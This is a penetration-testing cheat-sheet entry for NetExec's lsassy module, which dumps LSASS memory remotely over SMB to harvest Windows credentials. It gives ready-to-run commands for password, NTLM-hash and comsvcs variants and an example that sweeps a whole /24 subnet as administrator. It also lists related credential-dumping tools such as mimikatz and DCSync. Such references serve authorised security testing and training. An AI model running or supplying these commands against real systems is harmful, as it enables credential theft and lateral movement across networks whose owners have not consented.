NetExec lsassy Module (Remote LSASS Dump)

Dump LSASS remotely via the lsassy module — uses procdump/comsvcs/dllinjection methods, parses on the fly with pypykatz, and never drops the dump file to disk on the attacker side. Requires local admin on the target.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Hash Dumping
Platform: linux
Requires: password
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb <target> -u '<user>' -p '<password>' -M lsassy

Credential variants

The same attack using a different authentication material.

Hash Auth requires NTLM hash

nxc smb <target> -u '<user>' -H '<hash>' -M lsassy

Specific Method requires password

nxc smb <target> -u '<user>' -p '<password>' -M lsassy -o METHOD=comsvcs

Examples

nxc smb 10.10.10.0/24 -u administrator -p 'Password123!' -M lsassy

References

lsassy

Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
Impacket Targeted DCSync (Single User) DCSync only one specific account instead of replicating the whole NTDS. Massively…
Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
Mimikatz lsadump::dcsync Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR…
Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…